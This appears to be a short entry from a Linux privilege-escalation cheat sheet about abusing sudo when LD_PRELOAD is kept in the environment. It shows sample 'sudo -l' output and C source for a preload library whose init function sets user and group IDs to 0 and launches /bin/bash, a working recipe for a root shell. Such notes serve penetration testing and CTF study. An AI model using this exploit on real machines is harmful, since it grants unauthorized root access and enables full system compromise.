Sudo
$ sudo -l
Matching Defaults entries for [] on ...:
env_reset, mail_badpass, env_keep+=LD_PRELOAD
...
User [] may run the following commands on ...:
...
(ALL) NOPASSWD: /usr/bin/find
...LD_PRELOAD env variable
Example
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}Binaries with sudo privileges
Last updated